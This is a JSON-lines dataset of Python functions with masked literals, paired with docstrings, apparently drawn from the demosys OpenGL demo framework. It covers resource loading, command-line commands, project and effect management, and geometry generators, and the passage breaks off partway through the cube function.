{"signature": "def load(self):", "body": "self._open_image()<EOL>width, height, depth = self.image.size[<NUM_LIT:0>], self.image.size[<NUM_LIT:1>] // self.layers, self.layers<EOL>components, data = image_data(self.image)<EOL>texture = self.ctx.texture_array(<EOL>(width, height, depth),<EOL>components,<EOL>data,<EOL>)<EOL>texture.extra = {'<STR_LIT>': self.meta}<EOL>if self.meta.mipmap:<EOL><INDENT>texture.build_mipmaps()<EOL><DEDENT>self._close_image()<EOL>return texture<EOL>", "docstring": "Load a texture array", "id": "f14450:c0:m1"}
{"signature": "def load(self):", "body": "self.meta.resolved_path = self.find_data(self.meta.path)<EOL>if not self.meta.resolved_path:<EOL><INDENT>raise ImproperlyConfigured(\"<STR_LIT>\".format(self.meta.path))<EOL><DEDENT>print(\"<STR_LIT>\", self.meta.path)<EOL>with open(self.meta.resolved_path, '<STR_LIT:r>') as fd:<EOL><INDENT>return fd.read()<EOL><DEDENT>", "docstring": "Load a file in text mode", "id": "f14451:c0:m0"}
{"signature": "def load(self):", "body": "self.meta.resolved_path = self.find_data(self.meta.path)<EOL>if not self.meta.resolved_path:<EOL><INDENT>raise ImproperlyConfigured(\"<STR_LIT>\".format(self.meta.path))<EOL><DEDENT>print(\"<STR_LIT>\", self.meta.path)<EOL>with open(self.meta.resolved_path, '<STR_LIT:r>') as fd:<EOL><INDENT>return json.loads(fd.read())<EOL><DEDENT>", "docstring": "Load a file as json", "id": "f14452:c0:m0"}
{"signature": "def load(self):", "body": "self.meta.resolved_path = self.find_data(self.meta.path)<EOL>if not self.meta.resolved_path:<EOL><INDENT>raise ImproperlyConfigured(\"<STR_LIT>\".format(self.meta.path))<EOL><DEDENT>print(\"<STR_LIT>\", self.meta.path)<EOL>with open(self.meta.resolved_path, '<STR_LIT:rb>') as fd:<EOL><INDENT>return fd.read()<EOL><DEDENT>", "docstring": "Load a file in binary mode", "id": "f14453:c0:m0"}
{"signature": "def setup(**kwargs):", "body": "settings.setup()<EOL>settings.update(**kwargs)<EOL>", "docstring": "Configure", "id": "f14454:m0"}
{"signature": "def init(*args, **kwargs):", "body": "view.init(*args, **kwargs)<EOL>", "docstring": "Initialize and load", "id": "f14454:m1"}
{"signature": "def run(*args, **kwargs):", "body": "view.run(*args, **kwargs)<EOL>", "docstring": "Run", "id": "f14454:m2"}
{"signature": "def draw(self, time, frametime, target):", "body": "raise NotImplementedError()<EOL>", "docstring": "Called by the system every frame.\nThis method should be overridden.\n\n:param time: The current time in seconds\n:param frametime: The time one frame should take in seconds\n:param target: The target FBO", "id": "f14456:c0:m1"}
{"signature": "def key_event(self, key, action, mods):", "body": "pass<EOL>", "docstring": "Forwarded key events from the system.\n\n:param key: The key that was pressed or released.\n:param action: ACTION_PRESS, ACTION_RELEASE\n:param mods: Bit field describing which modifier keys were held down.", "id": "f14456:c0:m2"}
{"signature": "def draw(self, time, frametime, target):", "body": "for effect in self.effects:<EOL><INDENT>value = effect.rocket_timeline_track.time_value(time)<EOL>if value > <NUM_LIT:0.5>:<EOL><INDENT>effect.draw(time, frametime, target)<EOL><DEDENT><DEDENT>", "docstring": "Fetch track value for every runnable effect.\nIf the value is > 0.5 we draw it.", "id": "f14457:c0:m1"}
{"signature": "def __init__(self):", "body": "pass<EOL>", "docstring": "should take cmd config", "id": "f14459:c1:m0"}
{"signature": "def add_arguments(self, parser):", "body": "pass<EOL>", "docstring": "This method is for adding arguments to a command.\nWhen extending this class we define the arguments\nby adding it to the parser passed in.\n\n:param parser: The parser to add arguments to (standard argparse)", "id": "f14459:c1:m1"}
{"signature": "def handle(self, *args, **options):", "body": "raise NotImplementedError()<EOL>", "docstring": "The actual run logic for the command.\n\n:param args: arguments from the argparser\n:param options: keyword arguments from the argparser", "id": "f14459:c1:m2"}
{"signature": "def run_from_argv(self, argv):", "body": "parser = self.create_parser(argv[<NUM_LIT:0>], argv[<NUM_LIT:1>])<EOL>options = parser.parse_args(argv[<NUM_LIT:2>:])<EOL>cmd_options = vars(options)<EOL>args = cmd_options.pop('<STR_LIT:args>', ())<EOL>self.handle(*args, **cmd_options)<EOL>", "docstring": "Called by the system when executing the command from the command line.\nThis should not be overridden.\n\n:param argv: Arguments from command line", "id": "f14459:c1:m3"}
{"signature": "def print_help(self, prog_name, subcommand):", "body": "parser = self.create_parser(prog_name, subcommand)<EOL>parser.print_help()<EOL>", "docstring": "Prints the help text generated by the argument parser defined for this command.\nThis method should not be overridden.\n\n:param prog_name: name of the program that started the command.\n:param subcommand: The subcommand name", "id": "f14459:c1:m4"}
{"signature": "def create_parser(self, prog_name, subcommand):", "body": "parser = argparse.ArgumentParser(prog_name, subcommand)<EOL>self.add_arguments(parser)<EOL>return parser<EOL>", "docstring": "Create argument parser and deal with ``add_arguments``.\nThis method should not be overriden.\n\n:param prog_name: Name of the command (argv[0])\n:return: ArgumentParser", "id": "f14459:c1:m5"}
{"signature": "def validate_name(self, name):", "body": "if not name:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if not name.isidentifier():<EOL><INDENT>raise ValueError(\"<STR_LIT>\".format(name))<EOL><DEDENT>", "docstring": "Can the name be used as a python module or package?\nRaises ``ValueError`` if the name is invalid.\n\n:param name: the name to check", "id": "f14459:c2:m0"}
{"signature": "def try_import(self, name):", "body": "try:<EOL><INDENT>import_module(name)<EOL><DEDENT>except ImportError:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>raise ImportError(\"<STR_LIT>\".format(name))<EOL><DEDENT>", "docstring": "Attempt to import the name.\nRaises ``ImportError`` if the name cannot be imported.\n\n:param name: the name to import", "id": "f14459:c2:m1"}
{"signature": "def available_templates(value):", "body": "templates = list_templates()<EOL>if value not in templates:<EOL><INDENT>raise ArgumentTypeError(\"<STR_LIT>\".format(<EOL>value, \"<STR_LIT:U+002CU+0020>\".join(templates)))<EOL><DEDENT>return value<EOL>", "docstring": "Scan for available templates in effect_templates", "id": "f14462:m1"}
{"signature": "def root_path():", "body": "module_dir = os.path.dirname(globals()['<STR_LIT>'])<EOL>return os.path.dirname(os.path.dirname(module_dir))<EOL>", "docstring": "Get the absolute path to the root of the demosys package", "id": "f14462:m3"}
{"signature": "def template_dir():", "body": "return os.path.join(root_path(), '<STR_LIT>')<EOL>", "docstring": "Get the absolute path to the template directory", "id": "f14462:m4"}
{"signature": "def initial_sanity_check(self):", "body": "<EOL>self.try_import(self.project_name)<EOL>self.validate_name(self.project_name)<EOL>if os.path.exists(self.project_name):<EOL><INDENT>print(\"<STR_LIT>\".format(self.project_name))<EOL>return False<EOL><DEDENT>if os.path.exists('<STR_LIT>'):<EOL><INDENT>print(\"<STR_LIT>\")<EOL>return False<EOL><DEDENT>return True<EOL>", "docstring": "Checks if we can create the project", "id": "f14464:c0:m2"}
{"signature": "def create_entrypoint(self):", "body": "with open(os.path.join(self.template_dir, '<STR_LIT>'), '<STR_LIT:r>') as fd:<EOL><INDENT>data = fd.read().format(project_name=self.project_name)<EOL><DEDENT>with open('<STR_LIT>', '<STR_LIT:w>') as fd:<EOL><INDENT>fd.write(data)<EOL><DEDENT>os.chmod('<STR_LIT>', <NUM_LIT>)<EOL>", "docstring": "Write manage.py in the current directory", "id": "f14464:c0:m4"}
{"signature": "def get_template_dir(self):", "body": "directory = os.path.dirname(os.path.abspath(__file__))<EOL>directory = os.path.dirname(os.path.dirname(directory))<EOL>directory = os.path.join(directory, '<STR_LIT>')<EOL>return directory<EOL>", "docstring": "Returns the absolute path to template directory", "id": "f14464:c0:m6"}
{"signature": "def find_commands(command_dir: str) -> List[str]:", "body": "if not command_dir:<EOL><INDENT>return []<EOL><DEDENT>return [name for _, name, is_pkg in pkgutil.iter_modules([command_dir])<EOL>if not is_pkg and not name.startswith('<STR_LIT:_>')]<EOL>", "docstring": "Get all command names in the a folder\n\n:return: List of commands names", "id": "f14465:m0"}
{"signature": "def execute_from_command_line(argv=None):", "body": "if not argv:<EOL><INDENT>argv = sys.argv<EOL><DEDENT>system_commands = find_commands(system_command_dir())<EOL>project_commands = find_commands(project_command_dir())<EOL>project_package = project_package_name()<EOL>command = argv[<NUM_LIT:1>] if len(argv) > <NUM_LIT:1> else None<EOL>if command in system_commands:<EOL><INDENT>cmd = load_command_class('<STR_LIT>', command)<EOL>cmd.run_from_argv(argv)<EOL><DEDENT>elif command in project_commands:<EOL><INDENT>cmd = load_command_class(project_package, command)<EOL>cmd.run_from_argv(argv)<EOL><DEDENT>else:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>for name in system_commands:<EOL><INDENT>print(\"<STR_LIT>\".format(name))<EOL><DEDENT>for name in project_commands:<EOL><INDENT>print(\"<STR_LIT>\".format(name))<EOL><DEDENT><DEDENT>", "docstring": "Currently the only entrypoint (manage.py, demosys-admin)", "id": "f14465:m6"}
{"signature": "def create_effect_classes(self):", "body": "effects.polulate(self.effect_packages)<EOL>", "docstring": "Registers effect packages defined in ``effect_packages``.", "id": "f14467:c0:m1"}
{"signature": "def create_external_resources(self) -> List[ResourceDescription]:", "body": "return effects.get_effect_resources()<EOL>", "docstring": "Fetches all resource descriptions defined in effect packages.\n\nReturns:\n    List of resource descriptions to load", "id": "f14467:c0:m2"}
{"signature": "def create_resources(self) -> List[ResourceDescription]:", "body": "return self.resources<EOL>", "docstring": "Create resources for the project.\nSimply returns the ``resources`` list and can be implemented to\nmodify what a resource list is programmatically.\n\nReturns:\n    List of resource descriptions to load", "id": "f14467:c0:m3"}
{"signature": "def create_effect_instances(self):", "body": "raise NotImplementedError()<EOL>", "docstring": "Create instances of effects.\nMust be implemented or ``NotImplementedError`` is raised.", "id": "f14467:c0:m4"}
{"signature": "def create_effect(self, label: str, name: str, *args, **kwargs) -> Effect:", "body": "effect_cls = effects.find_effect_class(name)<EOL>effect = effect_cls(*args, **kwargs)<EOL>effect._label = label<EOL>if label in self._effects:<EOL><INDENT>raise ValueError(\"<STR_LIT>\".format(label))<EOL><DEDENT>self._effects[label] = effect<EOL>return effect<EOL>", "docstring": "Create an effect instance adding it to the internal effects dictionary using the label as key.\n\nArgs:\n    label (str): The unique label for the effect instance\n    name (str): Name or full python path to the effect class we want to instantiate\n    args: Positional arguments to the effect initializer\n    kwargs: Keyword arguments to the effect initializer\n\nReturns:\n    The newly created Effect instance", "id": "f14467:c0:m5"}
{"signature": "def post_load(self):", "body": "for _, effect in self._effects.items():<EOL><INDENT>effect.post_load()<EOL><DEDENT>", "docstring": "Called after resources are loaded before effects starts rendering.\nIt simply iterates each effect instance calling their ``post_load`` methods.", "id": "f14467:c0:m6"}
{"signature": "def load(self):", "body": "self.create_effect_classes()<EOL>self._add_resource_descriptions_to_pools(self.create_external_resources())<EOL>self._add_resource_descriptions_to_pools(self.create_resources())<EOL>for meta, resource in resources.textures.load_pool():<EOL><INDENT>self._textures[meta.label] = resource<EOL><DEDENT>for meta, resource in resources.programs.load_pool():<EOL><INDENT>self._programs[meta.label] = resource<EOL><DEDENT>for meta, resource in resources.scenes.load_pool():<EOL><INDENT>self._scenes[meta.label] = resource<EOL><DEDENT>for meta, resource in resources.data.load_pool():<EOL><INDENT>self._data[meta.label] = resource<EOL><DEDENT>self.create_effect_instances()<EOL>self.post_load()<EOL>", "docstring": "Loads this project instance", "id": "f14467:c0:m7"}
{"signature": "def _add_resource_descriptions_to_pools(self, meta_list):", "body": "if not meta_list:<EOL><INDENT>return<EOL><DEDENT>for meta in meta_list:<EOL><INDENT>getattr(resources, meta.resource_type).add(meta)<EOL><DEDENT>", "docstring": "Takes a list of resource descriptions adding them\nto the resource pool they belong to scheduling them for loading.", "id": "f14467:c0:m8"}
{"signature": "def reload_programs(self):", "body": "print(\"<STR_LIT>\")<EOL>for name, program in self._programs.items():<EOL><INDENT>if getattr(program, '<STR_LIT>', None):<EOL><INDENT>print(\"<STR_LIT>\".format(program.meta.label))<EOL>program.program = resources.programs.load(program.meta)<EOL><DEDENT><DEDENT>", "docstring": "Reload all shader programs with the reloadable flag set", "id": "f14467:c0:m9"}
{"signature": "def get_effect(self, label: str) -> Effect:", "body": "return self._get_resource(label, self._effects, \"<STR_LIT>\")<EOL>", "docstring": "Get an effect instance by label\n\nArgs:\n    label (str): The label for the effect instance\n\nReturns:\n    Effect class instance", "id": "f14467:c0:m10"}
{"signature": "def get_effect_class(self, class_name, package_name=None) -> Type[Effect]:", "body": "if package_name:<EOL><INDENT>return effects.find_effect_class(\"<STR_LIT>\".format(package_name, class_name))<EOL><DEDENT>return effects.find_effect_class(class_name)<EOL>", "docstring": "Get an effect class from the effect registry.\n\nArgs:\n    class_name (str): The exact class name of the effect\n\nKeyword Args:\n    package_name (str): The python path to the effect package the effect name is located.\n                        This is optional and can be used to avoid issue with class name collisions.\n\nReturns:\n    Effect class", "id": "f14467:c0:m11"}
{"signature": "def get_scene(self, label: str) -> Scene:", "body": "return self._get_resource(label, self._scenes, \"<STR_LIT>\")<EOL>", "docstring": "Gets a scene by label\n\nArgs:\n    label (str): The label for the scene to fetch\n\nReturns:\n    Scene instance", "id": "f14467:c0:m12"}
{"signature": "def get_texture(self, label: str) -> Union[moderngl.Texture, moderngl.TextureArray,<EOL>moderngl.Texture3D, moderngl.TextureCube]:", "body": "return self._get_resource(label, self._textures, \"<STR_LIT>\")<EOL>", "docstring": "Get a texture by label\n\nArgs:\n    label (str): The label for the texture to fetch\n\nReturns:\n    Texture instance", "id": "f14467:c0:m14"}
{"signature": "def get_data(self, label: str) -> Any:", "body": "return self._get_resource(label, self._data, \"<STR_LIT:data>\")<EOL>", "docstring": "Get a data resource by label\n\nArgs:\n    label (str): The labvel for the data resource to fetch\n\nReturns:\n    The requeted data object", "id": "f14467:c0:m15"}
{"signature": "def _get_resource(self, label: str, source: dict, resource_type: str):", "body": "try:<EOL><INDENT>return source[label]<EOL><DEDENT>except KeyError:<EOL><INDENT>raise ValueError(\"<STR_LIT>\".format(<EOL>resource_type, label, list(source.keys())))<EOL><DEDENT>", "docstring": "Generic resoure fetcher handling errors.\n\nArgs:\n    label (str): The label to fetch\n    source (dict): The dictionary to look up the label\n    resource_type str: The display name of the resource type (used in errors)", "id": "f14467:c0:m16"}
{"signature": "def get_runnable_effects(self) -> List[Effect]:", "body": "return [effect for name, effect in self._effects.items() if effect.runnable]<EOL>", "docstring": "Returns all runnable effects in the project.\n\n:return: List of all runnable effects", "id": "f14467:c0:m17"}
{"signature": "@property<EOL><INDENT>def ctx(self) -> moderngl.Context:<DEDENT>", "body": "return context.ctx()<EOL>", "docstring": "The MondernGL context", "id": "f14467:c0:m18"}
{"signature": "def quad_fs() -> VAO:", "body": "return quad_2d(<NUM_LIT>, <NUM_LIT>, <NUM_LIT:0.0>, <NUM_LIT:0.0>)<EOL>", "docstring": "Creates a screen aligned quad using two triangles with normals and texture coordiantes.\n\nReturns:\n    A :py:class:`demosys.opengl.vao.VAO` instance.", "id": "f14469:m0"}
{"signature": "def quad_2d(width, height, xpos=<NUM_LIT:0.0>, ypos=<NUM_LIT:0.0>) -> VAO:", "body": "pos = numpy.array([<EOL>xpos - width / <NUM_LIT>, ypos + height / <NUM_LIT>, <NUM_LIT:0.0>,<EOL>xpos - width / <NUM_LIT>, ypos - height / <NUM_LIT>, <NUM_LIT:0.0>,<EOL>xpos + width / <NUM_LIT>, ypos - height / <NUM_LIT>, <NUM_LIT:0.0>,<EOL>xpos - width / <NUM_LIT>, ypos + height / <NUM_LIT>, <NUM_LIT:0.0>,<EOL>xpos + width / <NUM_LIT>, ypos - height / <NUM_LIT>, <NUM_LIT:0.0>,<EOL>xpos + width / <NUM_LIT>, ypos + height / <NUM_LIT>, <NUM_LIT:0.0>,<EOL>], dtype=numpy.float32)<EOL>normals = numpy.array([<EOL><NUM_LIT:0.0>, <NUM_LIT:0.0>, <NUM_LIT:1.0>,<EOL><NUM_LIT:0.0>, <NUM_LIT:0.0>, <NUM_LIT:1.0>,<EOL><NUM_LIT:0.0>, <NUM_LIT:0.0>, <NUM_LIT:1.0>,<EOL><NUM_LIT:0.0>, <NUM_LIT:0.0>, <NUM_LIT:1.0>,<EOL><NUM_LIT:0.0>, <NUM_LIT:0.0>, <NUM_LIT:1.0>,<EOL><NUM_LIT:0.0>, <NUM_LIT:0.0>, <NUM_LIT:1.0>,<EOL>], dtype=numpy.float32)<EOL>uvs = numpy.array([<EOL><NUM_LIT:0.0>, <NUM_LIT:1.0>,<EOL><NUM_LIT:0.0>, <NUM_LIT:0.0>,<EOL><NUM_LIT:1.0>, <NUM_LIT:0.0>,<EOL><NUM_LIT:0.0>, <NUM_LIT:1.0>,<EOL><NUM_LIT:1.0>, <NUM_LIT:0.0>,<EOL><NUM_LIT:1.0>, <NUM_LIT:1.0>,<EOL>], dtype=numpy.float32)<EOL>vao = VAO(\"<STR_LIT>\", mode=moderngl.TRIANGLES)<EOL>vao.buffer(pos, '<STR_LIT>', [\"<STR_LIT>\"])<EOL>vao.buffer(normals, '<STR_LIT>', [\"<STR_LIT>\"])<EOL>vao.buffer(uvs, '<STR_LIT>', [\"<STR_LIT>\"])<EOL>return vao<EOL>", "docstring": "Creates a 2D quad VAO using 2 triangles with normals and texture coordinates.\n\nArgs:\n    width (float): Width of the quad\n    height (float): Height of the quad\n\nKeyword Args:\n    xpos (float): Center position x\n    ypos (float): Center position y\n\nReturns:\n    A :py:class:`demosys.opengl.vao.VAO` instance.", "id": "f14469:m1"}
{"signature": "def plane_xz(size=(<NUM_LIT:10>, <NUM_LIT:10>), resolution=(<NUM_LIT:10>, <NUM_LIT:10>)) -> VAO:", "body": "sx, sz = size<EOL>rx, rz = resolution<EOL>dx, dz = sx / rx, sz / rz  <EOL>ox, oz = -sx / <NUM_LIT:2>, -sz / <NUM_LIT:2>  <EOL>def gen_pos():<EOL><INDENT>for z in range(rz):<EOL><INDENT>for x in range(rx):<EOL><INDENT>yield ox + x * dx<EOL>yield <NUM_LIT:0><EOL>yield oz + z * dz<EOL><DEDENT><DEDENT><DEDENT>def gen_uv():<EOL><INDENT>for z in range(rz):<EOL><INDENT>for x in range(rx):<EOL><INDENT>yield x / (rx - <NUM_LIT:1>)<EOL>yield <NUM_LIT:1> - z / (rz - <NUM_LIT:1>)<EOL><DEDENT><DEDENT><DEDENT>def gen_normal():<EOL><INDENT>for _ in range(rx * rz):<EOL><INDENT>yield <NUM_LIT:0.0><EOL>yield <NUM_LIT:1.0><EOL>yield <NUM_LIT:0.0><EOL><DEDENT><DEDENT>def gen_index():<EOL><INDENT>for z in range(rz - <NUM_LIT:1>):<EOL><INDENT>for x in range(rx - <NUM_LIT:1>):<EOL><INDENT>yield z * rz + x + <NUM_LIT:1><EOL>yield z * rz + x<EOL>yield z * rz + x + rx<EOL>yield z * rz + x + <NUM_LIT:1><EOL>yield z * rz + x + rx<EOL>yield z * rz + x + rx + <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>pos_data = numpy.fromiter(gen_pos(), dtype=numpy.float32)<EOL>uv_data = numpy.fromiter(gen_uv(), dtype=numpy.float32)<EOL>normal_data = numpy.fromiter(gen_normal(), dtype=numpy.float32)<EOL>index_data = numpy.fromiter(gen_index(), dtype=numpy.uint32)<EOL>vao = VAO(\"<STR_LIT>\", mode=moderngl.TRIANGLES)<EOL>vao.buffer(pos_data, '<STR_LIT>', ['<STR_LIT>'])<EOL>vao.buffer(uv_data, '<STR_LIT>', ['<STR_LIT>'])<EOL>vao.buffer(normal_data, '<STR_LIT>', ['<STR_LIT>'])<EOL>vao.index_buffer(index_data, index_element_size=<NUM_LIT:4>)<EOL>return vao<EOL>", "docstring": "Generates a plane on the xz axis of a specific size and resolution.\nNormals and texture coordinates are also included.\n\nArgs:\n    size: (x, y) tuple\n    resolution: (x, y) tuple\n\nReturns:\n    A :py:class:`demosys.opengl.vao.VAO` instance", "id": "f14470:m0"}
{"signature": "def bbox(width=<NUM_LIT:1.0>, height=<NUM_LIT:1.0>, depth=<NUM_LIT:1.0>):", "body": "width, height, depth = width / <NUM_LIT>, height / <NUM_LIT>, depth / <NUM_LIT><EOL>pos = numpy.array([<EOL>width, -height, depth,<EOL>width, height, depth,<EOL>-width, -height, depth,<EOL>width, height, depth,<EOL>-width, height, depth,<EOL>-width, -height, depth,<EOL>width, -height, -depth,<EOL>width, height, -depth,<EOL>width, -height, depth,<EOL>width, height, -depth,<EOL>width, height, depth,<EOL>width, -height, depth,<EOL>width, -height, -depth,<EOL>width, -height, depth,<EOL>-width, -height, depth,<EOL>width, -height, -depth,<EOL>-width, -height, depth,<EOL>-width, -height, -depth,<EOL>-width, -height, depth,<EOL>-width, height, depth,<EOL>-width, height, -depth,<EOL>-width, -height, depth,<EOL>-width, height, -depth,<EOL>-width, -height, -depth,<EOL>width, height, -depth,<EOL>width, -height, -depth,<EOL>-width, -height, -depth,<EOL>width, height, -depth,<EOL>-width, -height, -depth,<EOL>-width, height, -depth,<EOL>width, height, -depth,<EOL>-width, height, -depth,<EOL>width, height, depth,<EOL>-width, height, -depth,<EOL>-width, height, depth,<EOL>width, height, depth,<EOL>], dtype=numpy.float32)<EOL>vao = VAO(\"<STR_LIT>\", mode=moderngl.LINE_STRIP)<EOL>vao.buffer(pos, '<STR_LIT>', [\"<STR_LIT>\"])<EOL>return vao<EOL>", "docstring": "Generates a bounding box with (0.0, 0.0, 0.0) as the center.\nThis is simply a box with ``LINE_STRIP`` as draw mode.\n\nKeyword Args:\n    width (float): Width of the box\n    height (float): Height of the box\n    depth (float): Depth of the box\n\nReturns:\n    A :py:class:`demosys.opengl.vao.VAO` instance", "id": "f14471:m0"}
{"signature": "def points_random_3d(count, range_x=(-<NUM_LIT>, <NUM_LIT>), range_y=(-<NUM_LIT>, <NUM_LIT>), range_z=(-<NUM_LIT>, <NUM_LIT>), seed=None) -> VAO:", "body": "random.seed(seed)<EOL>def gen():<EOL><INDENT>for _ in range(count):<EOL><INDENT>yield random.uniform(*range_x)<EOL>yield random.uniform(*range_y)<EOL>yield random.uniform(*range_z)<EOL><DEDENT><DEDENT>data = numpy.fromiter(gen(), count=count * <NUM_LIT:3>, dtype=numpy.float32)<EOL>vao = VAO(\"<STR_LIT>\", mode=moderngl.POINTS)<EOL>vao.buffer(data, '<STR_LIT>', ['<STR_LIT>'])<EOL>return vao<EOL>", "docstring": "Generates random positions inside a confied box.\n\nArgs:\n    count (int): Number of points to generate\n\nKeyword Args:\n    range_x (tuple): min-max range for x axis: Example (-10.0. 10.0)\n    range_y (tuple): min-max range for y axis: Example (-10.0. 10.0)\n    range_z (tuple): min-max range for z axis: Example (-10.0. 10.0)\n    seed (int): The random seed\n\nReturns:\n    A :py:class:`demosys.opengl.vao.VAO` instance", "id": "f14472:m0"}
{"signature": "def cube(width, height, depth, center=(<NUM_LIT:0.0>, <NUM_LIT:0.0>, <NUM_LIT:0.0>), normals=True, uvs=True) -> VAO:", "body": "width, height, depth = width / <NUM_LIT>, height / <NUM_LIT>, depth / <NUM_LIT><EOL>pos = numpy.array([<EOL>center[<NUM_LIT:0>] + width, center[<NUM_LIT:1>] - height, center[<NUM_LIT:2>] + depth,<EOL>center[<NUM_LIT:0>] + width, center[<NUM_LIT:1>] + height, center[<NUM_LIT:2>] + depth,<EOL>center[<NUM_LIT:0>] - width, center[<NUM_LIT:1>] - height, center[<NUM_LIT:2>] + depth,<EOL>center[<NUM_LIT:0>] + width, center[<NUM_LIT:1>] + height, center[<NUM_LIT:2>] + depth,<EOL>center[<NUM_LIT:0>] - width, center[<NUM_LIT:1>] + height, center[<NUM_LIT:2>] + depth,<EOL>center[<NUM_LIT:0>] - width, center[<NUM_LIT:1>] - height, center[<NUM_LIT:2>] + depth,<EOL>center[<NUM_LIT:0>] + width, center[<NUM_LIT:1>] - height, center[<NUM_LIT:2>] - depth,<EOL>center[<NUM_LIT:0>] + width, center[<NUM_LIT:1>] + height, center[<NUM_LIT:2>] - depth,<EOL>center[<NUM_LIT:0>] + width, center[<NUM_LIT:1>] - height, center[<NUM_LIT:2>] + depth,<EOL>center[<NUM_LIT:0>] + width, center[<NUM_LIT:1>] + height, center[<NUM_LIT:2>] - depth,<EOL>center[<NUM_LIT:0>] + width, center[<NUM_LIT:1>] + height, center[<NUM_LIT:2>] + depth,<EOL>center[<NUM_LIT:0>] + width, center[<NUM_LIT:1>] - height, center[<NUM_LIT:2>] + depth,<EOL>center[<NUM_LIT:0>] + width, center[<NUM_LIT:1>] - height, center[<NUM_LIT:2>] - depth,<EOL>center[<NUM_LIT:0>] + width, center[<NUM_LIT:1>] - height, center[<NUM_LIT:2>] + depth,<EOL>center[<NUM_LIT:0>] - width, center[<NUM_LIT:1>] - height, center[<NUM_LIT:2>] + depth,<EOL>center[<NUM_LIT:0>] + width, center[<NUM_LIT:1>] - height, center[<NUM_LIT:2>] - depth,<EOL>center[<NUM_LIT:0>] - width, center[<NUM_LIT:1>] - height, center[<NUM_LIT:2>] + depth,<EOL>center[<NUM_LIT:0>] - width, center[<NUM_LIT:1>] - height, center[<NUM_LIT:2>] - depth,<EOL>center[<NUM_LIT:0>] - width, center[<NUM_LIT:1>] - height, center[<NUM_LIT:2>] + depth,<EOL>center[<NUM_LIT:0>] - width, center[<NUM_LIT:1>] + height, center[<NUM_LIT:2>] + depth,<EOL>center[<NUM_LIT:0>] - width, center[<NUM_LIT:1>] + height, center[<NUM_LIT:2>] - depth,<EOL>center[<NUM_LIT:0>] - width, center[<NUM_LIT:1>] - height, center[<NUM_LIT:2>] + depth,<EOL>center[<NUM_LIT:0>] - width, center[<NUM_LIT:1>] + height, center[<NUM_LIT:2>] - depth,<EOL>center[<NUM_LIT:0>] - width, center[<NUM_LIT:1>] - height, center[<NUM_LIT:2>] - depth,<EOL>center[<NUM_LIT:0>] + width, center[<NUM_LIT:1>] + height, center[<NUM_LIT:2>] - depth,<EOL>center[<NUM_LIT:0>] + width, center[<NUM_LIT:1>] - height, center[<NUM_LIT:2>] - depth,<EOL>center[<NUM_LIT:0>] - width, center[<NUM_LIT:1>] - height, center[<NUM_LIT:2>] - depth,<EOL>center[<NUM_LIT:0>] + width, center[<NUM_LIT:1>] + height, center[<NUM_LIT:2>] - depth,<EOL>center[<NUM_LIT:0>] - width, center[<NUM_LIT:1>] - height, center[<NUM_LIT:2>] - depth,<EOL>center[<NUM_LIT:0>] - width, center[<NUM_LIT:1>] + height, center[<NUM_LIT:2>] - depth,<EOL>center[<NUM_LIT:0>] + width, center[<NUM_LIT:1>] + height, center[<NUM_LIT:2>] - depth,<EOL>center[<NUM_LIT:0>] - width, center[<NUM_LIT:1>] + height, center[<NUM_LIT:2>] - depth,<EOL>center[<NUM_LIT:0>] + width, center[<NUM_LIT:1>] + height, center[<NUM_LIT:2>] + depth,<EOL>center[<NUM_LIT:0>] - width, center[<NUM_LIT:1>] + height, center[<NUM_LIT:2>] - depth,<EOL>center[<NUM_LIT:0>] - width, center[<NUM_LIT:1>] + height, center[<NUM_LIT:2>] + depth,<EOL>center[<NUM_LIT:0>] + width, center[<NUM_LIT:1>] + height, center[<NUM_LIT:2>] + depth,<EOL>], dtype=numpy.float32)<EOL>if normals:<EOL><INDENT>normal_data = numpy.array([<EOL>-<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>,<EOL>-<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>,<EOL>-<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>,<EOL><NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>,<EOL><NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>,<EOL><NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>,<EOL><NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:0>,<EOL><NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:0>,<EOL><NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:0>,<EOL><NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:0>,<EOL><NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:0>,<EOL><NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:0>,<EOL><NUM_LIT:0>, -<NUM_LIT:1>, <NUM_LIT:0>,<EOL><NUM_LIT:0>, -<NUM_LIT:1>, <NUM_LIT:0>,<EOL><NUM_LIT:0>, -<NUM_LIT:1>, <NUM_LIT:0>,<EOL><NUM_LIT:0>, -<NUM_LIT:1>, <NUM_LIT:0>,<EOL><NUM_LIT:0>, -<NUM_LIT:1>, <NUM_LIT:0>,<EOL><NUM_LIT:0>, -<NUM_LIT:1>, <NUM_LIT:0>,<EOL>-<NUM_LIT:1>, -<NUM_LIT:0>, <NUM_LIT:0>,<EOL>-<NUM_LIT:1>, -<NUM_LIT:0>, <NUM_LIT:0>,<EOL>-<NUM_LIT:1>, -<NUM_LIT:0>, <NUM_LIT:0>,<EOL>-<NUM_LIT:1>, -<NUM_LIT:0>, <NUM_LIT:0>,<EOL>-<NUM_LIT:1>, -<NUM_LIT:0>, <NUM_LIT:0>,<EOL>-<NUM_LIT:1>, -<NUM_LIT:0>, <NUM_LIT:0>,<EOL><NUM_LIT:0>, <NUM_LIT:0>, -<NUM_LIT:1>,<EOL><NUM_LIT:0>, <NUM_LIT:0>, -<NUM_LIT:1>,<EOL><NUM_LIT:0>, <NUM_LIT:0>, -<NUM_LIT:1>,<EOL><NUM_LIT:0>, <NUM_LIT:0>, -<NUM_LIT:1>,<EOL><NUM_LIT:0>, <NUM_LIT:0>, -<NUM_LIT:1>,<EOL><NUM_LIT:0>, <NUM_LIT:0>, -<NUM_LIT:1>,<EOL><NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:0>,<EOL><NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:0>,<EOL><NUM_LIT:0>, <NUM_LIT:1>, 